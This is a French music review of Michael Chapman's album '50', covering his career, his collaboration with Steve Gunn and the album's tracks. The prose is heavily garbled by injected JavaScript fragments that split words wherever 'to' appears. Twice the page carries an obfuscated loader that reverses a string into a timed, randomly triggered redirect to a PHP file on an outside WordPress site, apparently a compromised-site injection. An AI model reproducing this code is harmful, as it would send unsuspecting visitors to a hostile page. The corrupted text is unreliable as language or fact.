"Fully-Qualified Survivor", front & back. Bizarre.
L'album se nomme 50 en référence à ses 50 ans de carrière et de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournées ininterrompues (et sa petite trentaine de LP). A 76 ans, on pourrait donc se dire, logiquement, qu'il devrait un peu faiblir, et finir par se courber en faisant une petite musique intimiste et discrète, mais ce serait une erreur de penser ça. Et personne ne souhaite rester dans l'erreur.
Cet album est un redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour aux sources. A cette époque (fin des 60s et début des 70s), ses albums sortaient chez Harvest Records (la branche "prog" de EMI) aux côtés de Syd Barrett, Pink Floyd, Deep Purple, Love ou The Pretty Things. Puis sur Deram Records (Decca) avec Ten Years After, David Bowie ou Cat Stevens. Il avait derrière lui un groupe de 10 personnes (un orchestre à cordes hein, c'était pas Johnny), qui se réduira à 5, puis à 3... Enfin, depuis les années 80, il travaillait et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournait essentiellement seul, mais dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours sans discontinuer.
Michael Chapman chez lui, en plein jam dans le clip "Ancient Jules" de Steve Gunn (à gauche hein), audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de canards en bois (animal-dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totem qu'il a mis au sein de l'artwork de son album - voir "Trivia" en bas).
Malgré dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout, fin 2015, Chapman pensait qu'il "n'avait plus rien sous le capot", qu'il avait fait le dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour des choses... Puis, Steve Gunn et le label Paradise of Bachelors (qui le connaissent et le suivent depuis des années) lui ont proposé de sortir un album et de faire revivre un groupe audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de lui, comme dans les années 70. Avec cette fois un enregistrement moderne, propre, et l'assise mélodique de Steve Gunn, producteur, guitariste, génie, et principal héritier musical de Michael Chapman. "Soudain, j'ai commencé à réécrire des chansons", s'édom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonna-t-il, "et maintenant, j'ai comme l'impression qu'il y a d'autres endroits que je veux visiter".
Gunn explique de son côté que "ses albums des années 70 étaient vraiment en avance sur leur temps". On pense notamment à son chef d'œuvre Fully-Qualified Survivor (1970 donc), mais aussi à Millsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone Grit (1973), et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous ses autres disques des 70s, clairement marqués par l'époque, expérimentale, pionnière. Sa musique a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours été imprévisible, folk, blues, ragtime, rock, progressive, pleine de solos, s'audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisant des incartades que peu osaient, et qu'aujourd'hui peu oseraient, de peur de paraître ridicules. Une peur qui semble n'avoir jamais existé dans son esprit. Contrairement à la mort qui, avant même ses 30 ans, hantait déjà son esprit.
Comme dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les folkeux, il subit le violent désintérêt du grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and public pour la folk, dans les années 80 et 90. Bien sûr, il ne vendra plus autant de disques qu'avant, mais ses albums, sortant dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours régulièrement, ont presque dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous continué à être salués par la critique. Il n'a cependant pas échappé à cette période incroyable où les folkeux se sont essayés aux synthés et à la basse slap. L'album Heartbeat (1987) est de ce point de vue assez incroyable (ce clip...).
Et même si ses derniers albums semblaient en général plus calmes, il a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours su s'endom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourer et voir plus loin, alternant sans règle précise les albums solos, expérimentaux et en groupe restreint. Comme sur The Polar Bear en 2014, avec son esprit plus jazz, se concluant sur un titre de 14 minutes, complètement noise, en duo avec Thursdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Moore de Sonic Youth, un de ses plus grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands fans. Deux ans auparavant, celui-ci l'avait
d'ailleurs chauffé pour faire un album noise, et il avait obtempéré en livrant un truc plein de disdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, triturant sa guitare, qu'il a entremêlé de field recordings bizarres (The Resurrection dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Revenge of the Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Peacock, en 2012).
D'ailleurs, c'est intéressant d'écouter un de ses premiers concerts (!) en 1967 (Live at Folk Cottage, Cornwall, 1967), parce que c'est assez édom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnant d'y entendre la maitrise et surdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout la précision de ses interprétations, éreintant l'audience de sa voix nasillarde étrange, de Bob Dylan halluciné. Cette voix désormais grave, éraillée et profonde, qui porte la trace de ses 50 années de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournées, et les blessures internes provoquées par dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes ces clopes, ces drogues et ces verres de whisky. Tout ceci lui sera presque fatal en 1990, survivant à une crise cardiaque qui le mettra sur la dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touche pendant quelques années.
Depuis, il dit boire du vin rouge pour garder la santé.
50 est un mélange de nouvelles compositions et d'anciens titres réorchestrés (The Prospecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor de 1978, The Mallard et Navigation de 1995, et That Time of Night et Memphis in Winter de 1999). Le processus de sélection demeure une énigme, mais ce qui est certain, c'est que ce ne sont absolument pas les titres les plus connus qui ont été retenus, ni les plus évidents. Le fait est que ce sont des chansons originellement jouées en solo, à l'exception de The Prospecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor (auparavant, titre de folk-rock plein d'effets avec un pont abrasif improbable et un final enchanteur chelou, devenu en 2017 une superbe ballade country-folk). Il y avait donc un écueil à y adjoindre un groupe, mais celui-ci, presque entièrement constitué d'artistes du catalogue de Paradise of Bachelors, lui est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement dévoué et lui pave la route avec déférence, sans en faire trop, ni pas assez, comme des élèves en compagnie de leur maître. Faisant de 50 un vrai disque de Michael Chapman, honnête, brut, fidèle à son parcours. Clairement folk, country et électrique, il renoue avec ses solos dantesques que l'on ne voit ni arriver ni finir.
Nathan Bowles (Pelt), Bridget St John, Jimy SeiTang (Rhydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton), Michael Chapman, et Steve Gunn qui rêvasse.
L'album a été enregistré à Westdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town (dans l'Etat de New York), aux Etats-Unis, avec donc dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute une nouvelle génération de jeunes américains qu'il a influencé sans le savoir. Il l'appelle d'ailleurs "son album américain". On apprend au passage, édom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnamment, qu'il n'y avait jamais rien enregistré, lui dont l'imaginaire a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours été teinté d'Amérique, en témoigne notamment ses deux superbes LP intitulés Americana I & II (eux aussi très étranges, avec cette apparition impromptue d'une boite à rythmes).
Un des grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands moments de ce disque, diversifié dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout en restant cohérent, c'est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout d'abord Memphis in Winter : chanson folk hyper sombre inspirée d'une nuit lugubre et glaciale, passée dans un motel dégueulasse de cette ville, seul, au cours d'une dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournée fin 1990. Dans ces moments-là, "tu n'as plus qu'à te terrer, attendre que l'orage passe, et passer à autre chose". Comme dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours avec lui, la gravité y côdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toie le sarcasme, la nostalgie et la rêverie. La peinture qu'il nous offre de la ville et de son tissu social est un poème. Je pense qu'aucun mot ne suffit, écoutez et planquez-vous.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false" width="100%" height="166" frameborder="no" scrolling="no">
Mais il y a aussi Rosh Pina, instrumental très "american primitive", d'une beauté amenant à reconnaître que la production est impeccable : les guitares électriques noyant par couches le son imparfait des cordes, qui grésillent à mesure des chocs, laissant émerger chaque instrument qui nous enveloppent d'un linceul.
Et comment oublier la chanson country à banjo Money Trouble, titre enlevé dans la plus pure tradition country, où le groupe chante en chœur "It's only money trouble". En fait, presque dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout semble irréprochable. Malgré les quelques longueurs, langoureuses et "gnan-gnan" (comme on dit dans le milieu), des titres Navigation et The Mallard. On les relativise vite, on se dit que ce ne sont que des chansons-tampons, nous permettant de passer d'un titre extrêmement fort à un autre, sans fêlure au crâne.
En résumé, 50, en plus d'être un superbe point d'entrée pour les néophytes, est très loin d'être une porte de sortie. L'album semble avoir relancé et libéré Michael Chaman du repli sur soi. Il continuera donc de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourner inlassablement et sera -notamment- en juin au festival Folk You à Paris, et réfléchit déjà à un redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour, possiblement plus intimiste, en Audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomne...
Pour plus d'information là-dessus, suivez son dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourneur : La Chaise - les Tabourets (Fb / Site) (suivez-le quoi qu'il en soit, d'ailleurs)
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false" width="100%" height="450" frameborder="no" scrolling="no">
Trivia :
Michael Chapman est aussi un amoureux des animaux. Dans l'artwork de 50, il y a mis un canard. Mais il est aussi fan de chiens. Sur le dos de la pochette de son album de folk-rock rétrospectivement assez affreux (mais il y a prescription), The Man Who hated Mornings (1977), il y est inscrit cette mention : "Turn this record up so the dog can hear it. Listeners without a dog are strongly advised dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get one" ("Monte le volume pour que le chien puisse entendre. Ceux qui n'ont pas de chien sont fortement conseillés de s'en procurer un").
Ce qui en fait un homme aimable, bien que fou. Aimez-le.
Michael Chapman 50 Paradise of Bachelors 2017
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